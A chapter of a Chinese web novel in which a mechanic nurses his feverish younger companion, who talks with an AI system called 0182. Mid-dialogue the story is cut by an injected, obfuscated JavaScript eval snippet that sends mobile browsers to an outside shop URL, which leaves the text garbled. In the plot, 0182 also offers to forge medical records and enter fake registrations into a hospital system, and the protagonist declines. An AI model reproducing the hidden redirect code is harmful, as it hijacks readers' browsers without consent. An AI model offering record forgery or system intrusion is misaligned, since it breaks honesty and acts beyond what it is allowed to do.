陆朔没来得及洗澡。

    因为他刚按开他家热水器的加热按钮,手机里就弹来了新消息。

    ?? - ??:哥,我到了

    现在天气还挺冷的,邢尤身体又弱,陆朔哪里舍得让人在门口等他,只能穿着那套糊得满是机油的衣服下去给他开门。

    这是邢尤第一次来陆朔住的地方,也是他第一次见到他哥这幅模样。

    尽管已经从杨朝嘴里知道了这些,但他仍然觉得,有些场景不亲眼所见的话,真的很难用语言描述出来。

    阳光从打开的门缝中钻进来,斜斜地照射在陆朔脸上,然后在那道带着疤痕的眉峰处拐了个弯,衬得人眼窝愈发深邃。

    大约是刚刚还在干活,陆朔的额前被汗水浸得微微发亮。脸颊处蹭了道油污,应该是被他用手擦过,在脸上晕出了深浅不一的痕迹。

    临近冬日,温度已经渐渐向0度靠近了。

    但他哥还是像之前一样,只穿着一件薄薄的工作服,为了工作方便,袖口也被挽到了手肘处,露出了结实的小臂。

    他的皮肤是健康的小麦色,手指握着门把,从邢尤的角度,能看到手背用力时微微鼓起的青筋。

    ……带着种狂野而富有生机的性感。

    陆朔将门拉开,脸上露出了尴尬中混着些不好意思的神情,侧了侧身让他先进来。

    “你怎么突然过来了,不等我去接你。”

    他知道邢尤有点洁癖,但这种修车厂,再怎么打扫和清洁,也很难让人觉得清爽干净。

    所以陆朔一直都是去邢尤家里找他,从来没想过让他来自己这里。

    邢尤扫了一圈他哥的工作区。除了刚用过的几件工具外,其他的都被整整齐齐地列在一边,显然是经常整理。

    他转头看向陆朔,直白地问道:“哥不想我来吗?”

    陆朔闻言,视线偏移了一下,抬手摸了摸鼻子,“也不是……只是我这里比较乱,怕你待的不舒服。”

    他手上有一团还没来得及洗净的油污,随着动作被蹭到了鼻尖上,自己还浑然不觉。

    邢尤忍了忍,还是没忍住掏出了手机。

    身侧突然传来“咔嚓”的声响,陆朔疑惑地侧眸看过去。

    就见邢尤正眉眼弯弯地举着手机,唇角勾起,像一只偷腥成功的猫。

    屏幕上的微光映在他的眼睛里,亮亮的,像星星一样。

    他说:“我只是觉得,哥一个人白手起家做到现在这样,真的很厉害!”

    陆朔没有被他的甜言蜜语腐蚀,他抱着胳膊,将人领到自己睡觉的小隔间,然后故作不悦地哼哼了一声。

    “你等着!待会儿我洗完澡出来就给你手机相册都删掉!”

    说罢,也不等人反应,转身进了卫生间。

    关上门后,他在花洒下站定,正准备脱衣服,眼睛随意地往镜子里瞥了一眼,当即愣在了原地。

    只见两团黑漆马虎的油渍糊在他脸上,给人脸都挡了个七七八八,尤其有一团,刚巧不巧就在鼻尖。

    陆朔:“……”

    他总算是知道邢尤刚刚在笑什么了。

    卫生间里传来幽幽地谴责声,“好你个小尤,不提醒哥也就罢了,还偷偷拍哥的丑照!”

    邢尤坐在外面,假装自己没听见他哥的抱怨,只是默默地把手机相册里的照片上传到了云端。

    两人最后是去吃的火锅。

    照片当然还是没有删掉,但陆朔为了以示惩罚,按着人挠了半天痒,痒得邢尤在外面吹了半天冷风,到进火锅店的时候,眼尾还是一片潮红。

    陆朔看着他那张愈发惑人的脸,自觉心虚,没敢再提照片的事。

    高三的测试比高一高二要频繁很多,之前的开学测试和第一次月考邢尤都错过了,在班上没有名次,所以这次期中考试的座位被分到了尾班。

    临近考试,高老师还专门把他喊到了办公室,鼓励了一番,就怕邢尤转学过来复读,心里有落差。

    但邢尤这会儿却是满心犹豫。

    装学渣让陆朔给他补了这么长时间的课,如果这次暴露了,前功尽弃不说,他哥还会以为自己一直在骗他。

    但要是考差了的话,高老师很清楚他的高考成绩,很有可能会去联系姜成博,既不利于他后面进公司的计划,也会引起姜成博的注意。

    邢尤想来想去,还是有些难以抉择,干脆决定直接釜底抽薪,请假不去参加考试了。

    于是,考试前一天晚上,他专门洗了个冷水澡,又开窗吹了半天冷风。早上醒来,果然不出所料地发烧了。

    0182提醒他:“检测到任务者的体温已达到39.6℃,建议尽快就医检查,若不及时治疗,有发展为肺炎的风险。”

    邢尤昏昏沉沉地窝在床上,只觉浑身酸痛,一动也不想动。

    他拉了拉被子捂住自己的脑袋,作出回避的姿态。过了一会儿后,才想起来什么,迷迷糊糊地吩咐0182:“帮我向高老师请个假,就说我生病了。”

    0182知道他的计划,利索地用邢尤的手机发完了请假信息。

    但它还是有些不明白,于是问出了口:“为什么非要真的生病呢?我可以帮你伪造病例,也可以把挂号信息录入到医院系统里。”

    许久后,在它甚至以为邢尤已经睡着时,它才听到任务者给他的答复:“……我不想太过依赖你。而且,哥会过来的。”

    陆朔是在中午考完试后过来的。

    邢尤还在迷迷瞪瞪地做着梦,就被一阵“砰砰”的敲门声吵醒了。

    他猜到了是谁,汲拉着拖鞋慢吞吞走过去开门。

    大冷天的,几百米的距离,陆朔愣是跑出了满头大汗。

    见门打开,他刚松了一口气,就见里面的人斜倚在门边,显然是刚从被窝里钻出来,头发乱七八糟地支棱着,脸烧得通红。

    人眼神迷蒙地盯着他看了几秒,认出他来后,声音嘶哑地问:“哥怎么过来了?”

    陆朔很难说得清自己在那一瞬间心里是什么滋味。

    他清了清嗓子,将喉间猛地涌上来的不适感压了下去,才匆匆关上门,开口道:

    “高老师说你生病了,现在感觉怎么样?”

    “吃药

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17826373|211241||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了么?我给你带了药和午饭,先吃点?”

    邢尤唇角勾了勾,不知为什么,心里居然有些莫名的得意。

    他在脑海里和0182说:“看,他果然来了。”

    0182知道人类生病后就会变得幼稚,并不和他计较:“是的,你说对了,邢尤。”

    陆朔把饭盒和药都拆开,又熟门熟路地找出杯子,在饮水机上接了一杯热水。回头一看,病人竟然还在没心没肺地笑!

    陆朔也笑了,气笑的。

    他把水杯搁在桌子上,快步走到邢尤身侧,抬手握住人的胳膊,将人领到了沙发。

    但到底舍不得真跟个病人生气,只能压下心底的情绪,将温度正好的水递给他,然后轻声哄道:“药得饭后吃,先喝点热水,嗯?”

    邢尤脑子被烧得晕晕的,捧着杯子老老实实喝了两口。

    陆朔看他能自己端住水杯,便起身把东西都拿到了沙发旁,然后端着饭问他:

    “哥喂你还是你自己吃?”

    邢尤不想让他喂,伸手接过了饭盒。

    但他没什么胃口,吃了几口就放下了。

    陆朔没法儿,只能叹了口气,“算了,你先吃两颗退烧药,哥去给你下个面,”

    他看着人吃完药,把人在沙发上安顿好,才匆匆起身往厨房走,快着手下了碗清汤面。

    清汤面上卧着一颗蛋,上面还撒了把葱花,邢尤看着有了点食欲,多吃了几口。

    至于剩下的,都被他哥解决了。

    退烧药里有安眠的成分,邢尤吃完饭就有点昏昏欲睡了。

    陆朔把人送回卧室,盖好被子,又摸了摸他的额头,确认体温确实在下降后,轻轻舒了口气。哄道:

    “你好好休息。哥先去学校了,放学再来看你!”

    邢尤的脸仍有些红扑扑的,他把脸埋在被子里,点点头,说:“哥考试加油!”

    总之,这次期中考试,邢尤是靠生病混过去了。

    但林文洲给他打电话通知他周末去公司的时候,也提起了这件事。

    “三少爷,老板听说您前段时间生病了?现在怎么样了?”

    邢尤语气里带着点惊讶:“对,前几天感冒了,不过现在已经好了。姜总他……知道?”

    林文洲笑了笑:“老板他很关注您。您要多注意身体,他很期待您之后的表现。”

    邢尤感动地道:“好的,希望姜总也能多注意身体,工作不要太拼。”

    林文洲:“我会帮您转达的。”

    挂断电话后,邢尤仰靠在沙发上,轻叹了一口气。

    0182有些奇怪:“他让你去公司,这对我们的任务来说不是好事吗?你为什么不高兴?”

    邢尤向它解释:“他不止让我去公司,还在提醒我,下一次不能再用生病的借口逃避考试了。”

    0182有些迷茫:“在我的记录中,林文洲并没有提及这句话。”

    邢尤笑了笑:“嗯,所以这才是人类的语言艺术。你还有很多需要学习的地方。”

    0182似懂非懂地点了点头,“好吧。”